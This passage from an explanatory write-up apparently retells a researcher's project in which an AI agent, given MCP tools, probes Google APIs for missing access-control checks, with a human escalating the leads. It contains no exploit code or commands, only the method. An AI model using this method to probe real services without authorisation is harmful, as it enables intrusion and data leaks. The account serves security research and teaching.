Why this step matters
Without a working explorer, every test would mean hand-writing a request: looking up the method in the discovery document, working out the parameter names and types, building the JSON body, computing the FPA header, attaching the right key and restriction headers, and sending it. That is slow enough that you would test a handful of methods a day. With the explorer, you pick a method from a list, fill in a form, and press a button. The difference is the difference between reading a menu one dish at a time and having the whole menu in front of you with a way to order anything on it.
It is also the piece that makes the next step possible. An AI cannot click through a web page the way a person can, but it can call functions. The explorer's request-building and request-sending logic is exactly what needs to be wrapped up as functions the AI can call. That wrapping is the subject of the next step.
Step 8: giving the AI tools
What an AI agent and MCP tools are
Before describing what the researcher built, three ideas need explaining from zero: what an AI agent is, what a tool call is, and what MCP is.
A large language model on its own is a text machine. You give it text, it gives you text back. It cannot open a web page, send a request, read a file or remember anything between conversations. It is like a very well-read consultant locked in a room with no phone, no computer and no window. Ask them a question and they will answer from what they know, but they cannot go and check anything.
An AI agent is that same model given a phone and a computer. More precisely, it is a model that can call functions. You describe a set of functions it is allowed to use, each with a name, a description of what it does, and a description of what inputs it takes. The model can then, instead of answering in plain text, say "call this function with these inputs". The program running the model actually calls the function, gets the result, and feeds the result back to the model. The model reads the result and decides what to do next. This repeats in a loop until the model decides it is finished.
A tool call is one of those "call this function with these inputs" messages. It is not the model doing the work itself. The model is choosing which tool to use and what to pass to it, and the surrounding program is doing the actual work. That distinction matters, because it means the model can only do what the tools allow. If there is no tool for sending a request, the model cannot send a request, no matter how clever it is.
MCP, the Model Context Protocol, is a standard way of handing a model a set of tools. Before MCP, every AI application had its own private way of describing tools to a model, so a tool written for one application could not be reused in another. MCP defines a common format: a tool has a name, a description, and a schema for its inputs, and any MCP-compatible model or application can use it. Think of it as a standard plug. Any appliance with the right plug fits any socket with the right socket, without the manufacturer of the appliance and the manufacturer of the socket having to coordinate.
The report describes the researcher plugging the same code used in the frontend for parsing request and response JSON into the AI as MCP tools, providing everything it would need to test APIs like a human would. That sentence is worth unpacking, because it explains the whole design.
The frontend already knew how to do the hard parts. It could read a discovery document and work out what a method's request and response look like. It could build a correctly shaped request body from the struct definitions. It could compute the FPA header from a session cookie. It could attach the right API key and the right restriction headers. It could send the request and parse the response. All of that was already written, because the researcher had built it by hand in the previous step.
Wrapping that code as MCP tools meant the AI did not have to know any of it. The AI did not need to understand FPA, or discovery documents, or key restrictions, or origin whitelists. It only needed to know that there is a tool called probe_api that takes an endpoint and a body and returns a response. The tool does all the plumbing. The AI does the thinking: what to send, what to look for in the response, and whether what came back looks like a bug.
That is the same division of labour as a person using the custom explorer. The person does not compute the FPA hash by hand either; the explorer does it. The person decides what to try and reads the result. The AI was given the same deal.
Why the goal was basic access control, escalated by hand
The goal was to automate finding basic access control issues that could then be escalated manually into more serious vulnerabilities. That is a deliberate choice, and it is worth understanding why.
Access control is the set of rules that decide who is allowed to do what. A basic access control issue is one where the rule is missing or wrong in an obvious way: an endpoint that returns another user's data when it should refuse, or one that accepts a write from someone who should not be allowed to write. These are the easiest kind of bug to find automatically, because the test is simple: send a request that should be refused, and see whether it is refused.
Escalating a basic issue into a serious one is harder and needs judgement. A basic issue might be "this endpoint returns a user's display name when given their ID". On its own that is a small leak. But if the same endpoint also returns their email, or their recovery phone number, or lets you change their settings, the same missing check becomes an account takeover. Deciding which of those is true, and how to demonstrate it convincingly, is the kind of thing a human does well and an AI does less reliably.
So the pipeline was split: the AI finds the missing checks at scale, and the human works out how bad each one is and how to prove it. That is why the report says the AI found "leads" that were then escalated, rather than finished exploits.
The report gives a concrete example of why this approach had form. The RCE from the researcher's previous writeup had started life as an AI-reported lead. RCE stands for remote code execution, the most severe class of bug, where an attacker can make the target run their own code. It is about as serious as a bug gets. And it began as something an AI flagged, which a human then investigated and turned into a full exploit. That is the model the researcher was repeating: let the machine surface the lead, let the human do the rest.
The first version: two tools
The first version gave the AI only two tools: probe_api and report_vulnerability.
probe_api sends a request to an endpoint and returns the response. It is the AI's hands: the only way it can interact with Google's APIs. Every test the AI performs goes through this one tool.
report_vulnerability files a report. The latter made any reported vulnerability show up in the frontend for review, so the researcher could see what the AI thought it had found.
One "pentest" was run per API and the AI was left to explore. A pentest, short for penetration test, is an authorised attempt to find security weaknesses in a system. Here it means one run of the AI against one API: give it the API's methods, let it probe them, collect whatever it reports.
The design was as simple as it could be. Two tools, one API at a time, let the model decide what to do. That is the natural first attempt, and it is worth seeing why it did not work well enough.
The early-exit problem
The problem was that the AI did not test thoroughly. It would exit early after a few probes.
This is a common behaviour of AI agents, and it is worth understanding why. The model is trying to be helpful and efficient. Once it has probed a few endpoints and found nothing obviously wrong, it concludes that the API is probably fine and stops. It has no innate drive to be exhaustive. From its point of view, stopping early is a reasonable judgement: it has done some testing, found nothing, and there is no reason to keep going.
From the researcher's point of view, that is exactly the wrong behaviour. The bugs are not in the first few endpoints. They are in the one endpoint out of fifty that nobody thought to check. An AI that stops after five probes will miss almost everything.
To prevent this, a Ralph Wiggum loop was used: the AI was only allowed to finish by calling confirm_testing_complete(), a tool that validated every endpoint had at least one probe call before letting the AI stop.
The name is a joke. Ralph Wiggum is a character in The Simpsons who is famously not bright, and the term is used in AI engineering for a loop that keeps going stubbornly until a condition is met, without any cleverness. The idea is simple: the AI cannot simply decide it is done. It has to call a specific tool to finish, and that tool checks whether the work is actually complete. If any endpoint has not been probed, the tool refuses and the AI has to keep going.
This is the same trick as a checklist at the end of a shift. You cannot clock off until every box is ticked. The AI cannot finish until every endpoint has at least one probe. It does not make the AI smarter, but it stops it from quitting early.
The context-size problem
Even with the loop, the AI still was not as thorough as wanted. The initial context also contained a massive dump of request and response JSON with comments, which quickly consumed all the available context.
Context is everything the model can see at once: the instructions, the conversation so far, the results of every tool call, and any documents you have pasted in. It has a fixed maximum size. Once it is full, older material has to be dropped or the model simply cannot take any more in.
The first version pasted the entire request and response schema for every method into the initial context, so the AI would know what each method expected. For a small API that is fine. For a large one it is enormous. The context filled up before the AI had probed anything, leaving no room for the results of its own probes. The AI was being handed a library of documentation and then told to go and test, with no space left to remember what it had tested.
This is the same problem as giving someone a hundred-page manual and then asking them to take notes, with only one page of notepaper. Either the manual or the notes have to go. The researcher needed a way to give the AI only the documentation it needed for the current task, and to keep the results of its probes in view.
That is what the next step solves, by splitting the work into groups and simplifying the tools so that each call carries less information.
Why this step matters
The AI is the part of the pipeline that does the actual testing at scale, and this step is where it was first connected to the tools it needed. The two problems found here, early exit and context exhaustion, are the two problems every AI agent runs into when you point it at a large task. The fixes, a completion gate and a smaller working set, are the same fixes that make agents useful in general.
The next step shows how the working set was made smaller: by grouping endpoints into logical sets and simplifying the tool calls so that each one carries only what it needs.
The first version: two tools and the early-exit problem
The first version of the ag